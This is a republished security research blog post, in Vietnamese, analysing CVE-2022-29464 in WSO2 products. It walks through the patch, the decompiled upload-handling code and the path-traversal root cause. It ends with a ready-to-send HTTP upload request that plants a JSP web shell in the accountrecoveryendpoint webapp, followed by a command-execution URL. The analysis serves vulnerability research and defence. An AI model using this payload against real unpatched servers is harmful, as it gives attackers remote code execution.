Skip to content

Latest research: Read the advisory

All research
CVE AnalysisWeb SecurityReverse EngineeringCVE-2022-29464 9.8

WSO2 CVE-2022-29464: analysis

Dau Hoang Tai· Co-Founder8 min read

Unrestricted arbitrary file upload leading to remote code execution in WSO2 products (CVE-2022-29464). Dau Hoang Tai's 1-day analysis: source setup and debugging, root cause, and the path to RCE (in Vietnamese).

Originally published by Dau Hoang Tai on taidh's blog. Read the original.

Bài phân tích của mình dưới đây chỉ dựa trên cách làm của cá nhân, nên thiếu sót và không kĩ lưỡng xin mọi người góp ý thêm. Không tản mản nữa mình sẽ bắt đầu vô việc luôn xD

Setup

Mình chỉ giới thiệu setup qua vì cái này mình nghĩ đọc document thì sẽ rõ ràng và hợp lí hơn.

  • SOURCECODE -> Các bạn có thể tải source ở đây hoặc git clone ở product-is
  • Nếu các bạn git clone ở trên về thì cần tải thêm maven để xử lí code và build.
  • Tải jdk về máy, ở đây mình khuyên sài jdk8
  • Chạy command export JAVA_HOME=$(readlink -f /usr/bin/javac | sed "s:/bin/javac::")
  • Truy cập vô thư mục /bin và chạy ./wso2server.sh
  • Nếu debug theo kiểu remote thì sẽ thêm option --debug 5005 ở phía sau nhé, sau đó bên Intellij chọn Remote JVM debug, cái này ai bị lỗi thì chịu khó tra google xíu nhé hehe.

Patch Analysis

Sau khi mình tìm thấy và đọc qua cách patch của lỗ hổng này tại PATCH thì mình thấy sẽ có một điểm cần chú ý như sau:

  • Xóa hết mapping trong thẻ FileUploadConfig
<FileUploadConfig>
        <!--
           The total file upload size limit in MB
        -->
        <TotalFileSizeLimit>100</TotalFileSizeLimit>

        <Mapping>
            <Actions>
                <Action>keystore</Action>
                <Action>certificate</Action>
                <Action>*</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
        </Mapping>

        <Mapping>
            <Actions>
                <Action>jarZip</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>dbs</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>tools</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
        </Mapping>
        <Mapping>
            <Actions>
                <Action>toolsAny</Action>
            </Actions>
            <Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
        </Mapping>
    </FileUploadConfig>

Hiện tại mình chưa biết phần mapping này sẽ hoạt động như nào, nên việc này xíu nữa mình cần phân tích code để xem luồng hoạt động của nó.

Bản mới nhất của Carbon-kernel cũng có một số chỉnh sửa:

  • Những file bị xóa đi AnyFileUploadExecutor.java, JarZipUploadExecutor.java, KeyStoreFileUploadExecutor.java, ToolsAnyFileUploadExecutor.java, ToolsFileUploadExecutor.java.
  • File được chỉnh sửa cần focus FileUploadService.java. image

Ở đây đã sử dụng thêm verifyCanonicalDestination để check filename.

image

Hàm này có nhiệm vụ sẽ không cho sử dụng đường dẫn tương đối mà bắt buộc là đường dẫn tuyệt đối. Để làm việc này thì hàm này đã sử dụng hàm getCanonicalPath. Hàm này có nhiệm vụ sẽ xóa hết ., .. => không thể path traversal. Tới đây thì mình có thể hình dùng được payload sẽ liên quan đến việc sử dụng path traversal ở filename để file shell về một chỗ nào đó.

  • Ở trong file deployment.toml có sửa secure=false thành true
    [[resource.access_control]]
    context="(.*)/fileupload/(.*)"
    secure=true
    http_method = "all"
    permissions = ["/permission/protected/"]
    
    Mình được được enpoint quan trọng thông qua file này đó là /fileupload/ => bây giờ mình cần tiếp tục đi phân tích xem api chuẩn để dẫn đến vuln này là như nào dựa vô /fileupload/.

Exploit

Đầu tiên chúng ta biết được các file bị xóa đều nằm trong thư mục org.wso2.carbon.ui.transports.fileupload, vậy nên mình sẽ đi vào mục đó để xem chương trình xử lí các file trong đó như nào.

image

Trong folder transports thì có foler fileupload và 2 file khác FileDownloadServlet, FileUploadServlet. Nhưng mình chỉ chú ý đến FileUploadServlet vì lỗi này liên quan đến upload file như miêu tả và các bản vá cũng chỉ liên quan đến upload file.

  • File FileUploadServlet.class mình chỉ chú ý 2 hàm chính: doPost, init.

Hàm init

public void init(ServletConfig servletConfig) throws ServletException {
        this.servletConfig = servletConfig;

        try {
            this.fileUploadExecutorManager = new FileUploadExecutorManager(this.bundleContext, this.configContext, this.webContext);
            this.bundleContext.registerService(FileUploadExecutorManager.class.getName(), this.fileUploadExecutorManager, (Dictionary)null);
        } catch (CarbonException var3) {
            log.error("Exception occurred while trying to initialize FileUploadServlet", var3);
            throw new ServletException(var3);
        }
    }

Hàm init sẽ gọi đến class FileUploadExecutorManager cùng với những tham số đã được khởi tạo ở constructor.

public FileUploadExecutorManager(BundleContext bundleContext, ConfigurationContext configCtx, String webContext) throws CarbonException {
        this.bundleContext = bundleContext;
        this.configContext = configCtx;
        this.webContext = webContext;
        this.loadExecutorMap();
    }

Constructor FileUploadExecutorManager sẽ gọi đến function loadExecutorMap.

private void loadExecutorMap() throws CarbonException {
        ServerConfiguration serverConfiguration = ServerConfiguration.getInstance();

        OMElement documentElement;
        try {
            documentElement = XMLUtils.toOM(serverConfiguration.getDocumentElement());
        } catch (Exception var15) {
            String msg = "Unable to read Server Configuration.";
            log.error(msg);
            throw new CarbonException(msg, var15);
        }

        OMElement fileUploadConfigElement = documentElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "FileUploadConfig"));
        Iterator iterator = fileUploadConfigElement.getChildElements();

        label83:
        while(true) {
            OMElement mapppingElement;
            do {
                if (!iterator.hasNext()) {
                    return;
                }

                mapppingElement = (OMElement)iterator.next();
            } while(!mapppingElement.getLocalName().equalsIgnoreCase("Mapping"));

            OMElement actionsElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Actions"));
[TRUNCATED]
            Iterator actionElementIterator = actionsElement.getChildrenWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Action"));
            String msg;
            if (!actionElementIterator.hasNext()) {
                if (confPath == null) {
                    msg = "A FileUploadConfig/Mapping entry in the CARBON_HOME/repository/conf/carbon.xml should have at least on Action defined. Please fix this error in the carbon.xml file and restart.";
                } else {
                    msg = Paths.get(System.getProperty("carbon.home")).relativize(Paths.get(confPath)).toString();
                    msg = "A FileUploadConfig/Mapping entry in the CARBON_HOME/" + msg + "/carbon.xml should have at least on Action defined. Please fix this error in the carbon.xml file and restart.";
                }

                log.error(msg);
                throw new CarbonException(msg);
            }
             OMElement classElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Class"));
            String className;
            if (classElement != null && classElement.getText() != null) {
                className = classElement.getText().trim();

                String msg;
                String relativeConfDirPath;
                AbstractFileUploadExecutor object;
                try {
                    Class clazz = this.bundleContext.getBundle().loadClass(className);
                    Constructor constructor = clazz.getConstructor();
                    object = (AbstractFileUploadExecutor)constructor.newInstance();
                } catch (Exception var16) {
                    if (confPath == null) {
                        msg = "Error occurred while trying to instantiate the " + className + " class specified as a FileUploadConfig/Mapping/class element in the CARBON_HOME/repository/conf/carbon.xml file. Please fix this error in the carbon.xml file and restart.";
                    } else {
                        relativeConfDirPath = Paths.get(System.getProperty("carbon.home")).relativize(Paths.get(confPath)).toString();
                        msg = "Error occurred while trying to instantiate the " + className + " class specified as a FileUploadConfig/Mapping/class element in the CARBON_HOME/" + relativeConfDirPath + "/carbon.xml file. Please fix this error in the carbon.xml file and restart.";
                    }
[TRUNCATED]
this.executorMap.put(actionElement.getText().trim(), object);
[TRUNCATED]

Đoạn code trên sẽ load xml ở file carbon.xml, cụ thể hơn là sẽ load các actionclass trong tag FileUploadConfig. Cuối cùng sẽ gọi đến executorMap để put các phần tử đó. executorMap sẽ được khởi tạo bằng new HashMap() => Các actionclass sẽ được lưu trong HashMap theo dạng <Action, Class>.

Hàm doPost trong FileUploadServlet.java sẽ được gọi khi mình call theo method POST.

 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            this.fileUploadExecutorManager.execute(request, response);
        } catch (Exception var5) {
            String msg = "File upload failed ";
            log.error(msg, var5);
            throw new ServletException(var5);
        }
    }

Hàm này sẽ gọi đếnexecute ở file fileUploadExecutorManager

public boolean execute(HttpServletRequest request, HttpServletResponse response) throws IOException {
        HttpSession session = request.getSession();
        String cookie = (String)session.getAttribute("wso2carbon.admin.service.cookie");
        request.setAttribute("wso2carbon.admin.service.cookie", cookie);
        request.setAttribute("WebContext", this.webContext);
        request.setAttribute("ServerURL", CarbonUIUtil.getServerURL(request.getSession().getServletContext(), request.getSession()));
        String requestURI = request.getRequestURI();
        int indexToSplit = requestURI.indexOf("fileupload/") + "fileupload/".length();
        String actionString = requestURI.substring(indexToSplit);
        FileUploadExecutorManager.FileUploadExecutionHandlerManager execHandlerManager = new FileUploadExecutorManager.FileUploadExecutionHandlerManager();
        FileUploadExecutorManager.CarbonXmlFileUploadExecHandler carbonXmlExecHandler = new FileUploadExecutorManager.CarbonXmlFileUploadExecHandler(request, response, actionString);
        execHandlerManager.addExecHandler(carbonXmlExecHandler);
        FileUploadExecutorManager.OSGiFileUploadExecHandler osgiExecHandler = new FileUploadExecutorManager.OSGiFileUploadExecHandler(request, response);
        execHandlerManager.addExecHandler(osgiExecHandler);
        FileUploadExecutorManager.AnyFileUploadExecHandler anyFileExecHandler = new FileUploadExecutorManager.AnyFileUploadExecHandler(request, response);
        execHandlerManager.addExecHandler(anyFileExecHandler);
        execHandlerManager.startExec();
        return true;
    }
  • Có nhiệm vụ split url, những đoạn ở phía sau /fileupload/ sẽ được gán vô actionString.
  • Đưa vô constructor CarbonXmlFileUploadExecHandler để add thêm thuộc tính actionString.
       private class CarbonXmlFileUploadExecHandler extends FileUploadExecutorManager.FileUploadExecutionHandler {
            private HttpServletRequest request;
            private HttpServletResponse response;
            private String actionString;
    
  • Sau đó carbonXmlExecHandler các object khác sẽ được thêm vô thông qua hàm addExecHandler.
        public void addExecHandler(FileUploadExecutorManager.FileUploadExecutionHandler handler) {
                if (this.prevHandler != null) {
                    this.prevHandler.setNext(handler);
                } else {
                    this.firstHandler = handler;
                }
    
                this.prevHandler = handler;
        }
    
  • Ở cuối hàm thì chương trình sẽ gọi startExec
    public void startExec() throws IOException {
            this.firstHandler.execute();
        }
    
    • Hàm này sẽ lấy ra object đầu tiên và mang đi thực thi đó là carbonXmlExecHandler.
  • Hàm execute
    public void execute() throws IOException {
            boolean foundExecutor = false;
            Iterator var2 = FileUploadExecutorManager.this.executorMap.keySet().iterator();
    
            while(var2.hasNext()) {
                String key = (String)var2.next();
                if (key.equals(this.actionString)) {
                    AbstractFileUploadExecutor obj = (AbstractFileUploadExecutor)FileUploadExecutorManager.this.executorMap.get(key);
                    foundExecutor = true;
                    obj.executeGeneric(this.request, this.response, FileUploadExecutorManager.this.configContext);
                    break;
                }
            }
    
            if (!foundExecutor) {
                this.next();
            }
    
        }
    }
    
    • Chương trình sẽ load HashMap đã lưu từ trước đó, kiểm tra key Actions so sánh với actionString mà mình truyền vô sau /fileupload/, nếu trùng nhau thì hàm executeGeneric sẽ gọi được Action đó cùng với Class tương ứng. VD: Khi mình /keystore, /certificate thì sẽ gọi đến class org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor để xử lí. Tương tự với các Acction còn lại trong mapping.

Tới đây thì mình đã hiểu chương trình hoạt động như nào và bây giờ điều quan trọng tiếp theo là tìm enpoint nào thực sự có thể upload file shell và cần ghi vào đâu.

Tóm tắt lại chương trình

Mình sẽ tóm tắt lại chương trình cho dễ hiểu như sau:

  • Load các <Acction, Key> trong file carbon.xmlHashMap.
  • Các đường dẫn ở sau /fileupload/ sẽ được so sánh với Actions(key) ở trong HashMap đã lưu ở trên.
  • Nếu trùng thì sẽ gọi đến các Class tương ứng để xử lí request đó.

POC

Mình thử với /toolsAny, nó sẽ gọi đến class ToolsAnyFileUploadExecutor.class vì trong tên file có chứa ToolsAnyFileUpload nên mình nghĩ sẽ upload được bất kì file gì nên mình quyết định thử nó đầu tiên.

File ToolsAnhFileUploadExecutor.class mình chú ý đoạn code sau:

List<FileItemData> fileItems = this.getAllFileItems();
            Iterator var6 = fileItems.iterator();

            while(var6.hasNext()) {
                FileItemData fileItem = (FileItemData)var6.next();
                String uuid = String.valueOf((double)System.currentTimeMillis() + Math.random());
                String serviceUploadDir = this.configurationContext.getProperty("WORK_DIR") + File.separator + "extra" + File.separator + uuid + File.separator;
                File dir = new File(serviceUploadDir);
                if (!dir.exists()) {
                    dir.mkdirs();
                }

                File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
                FileOutputStream fileOutStream = new FileOutputStream(uploadedFile);

                try {
                    fileItem.getDataHandler().writeTo(fileOutStream);
                    fileOutStream.flush();
                } catch (Throwable var21) {
                    try {
                        fileOutStream.close();
                    } catch (Throwable var20) {
                        var21.addSuppressed(var20);
                    }

                    throw var21;
                }

                fileOutStream.close();
                response.setContentType("text/plain; charset=utf-8");
                ((Map)fileResourceMap).put(uuid, uploadedFile.getAbsolutePath());
                out.write(uuid);
            }
  • uuid sẽ được tạo bởi hàm Math.random()
  • Kiểm tra thư mục ./tmp/extra/$uuid/ có tạo chưa, nếu chưa thì sẽ tạo ra thư mục đó.
  • Filename mình upload lên sẽ được thêm vô sau ./tmp/extra/$uuid/ -> ./tmp/extra/$uuid/$filename
  • Nếu upload thành công thì reponse trả về uuid đã khởi tạo.

Vậy ở đây mình có thể control được filename => có thể path traversal để ghi vô folder mà chúng ta có quyền ghi và access được từ url => tới đây thì mình nghĩ khá chắc chắn đây là endpoint của vuln này, vì bản mới nhất của carbon-kernel đã thêm đoạn không cho mình sử dụng đường dẫn tương tối (khỏi path traversal).

Theo README thì mình biết được cấu trúc của chương trình và biết được webapp sẽ nằm trong repository/deploymentdeployment -> All deployment artifacts should go into this directory.

image

Biết được trong deployment có chứa clientserver. Trong server thì có webapp và theo như mình được biết thì đây là folder của chương trình chạy chính. Nên bây giờ mình sẽ thử ghi file shell vào trong 1 các folder ở đây. Cụ thể hơn là mình sẽ ghi vào accountrecoveryendpoint.

Payload

POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Content-Length: 727
Origin: https://localhost:9443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysQPwV1zoETVUiAVx

------WebKitFormBoundarysQPwV1zoETVUiAVx
Content-Disposition: form-data; name="application-sp-name"

taidh
------WebKitFormBoundarysQPwV1zoETVUiAVx
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/accountrecoveryendpoint/shell.jsp"; filename="shell.jsp"
Content-Type: text/xml

<%@ page import="java.util.*,java.io.*"%>
<%
                                                                                                                                                                                                                                                                                                                    
%>
------WebKitFormBoundarysQPwV1zoETVUiAVx--

Access https://localhost:9443/accountrecoveryendpoint/shell.jsp?cmd=ls -l

image

Dau Hoang Tai

Co-Founder, Starfish Security

LinkedIn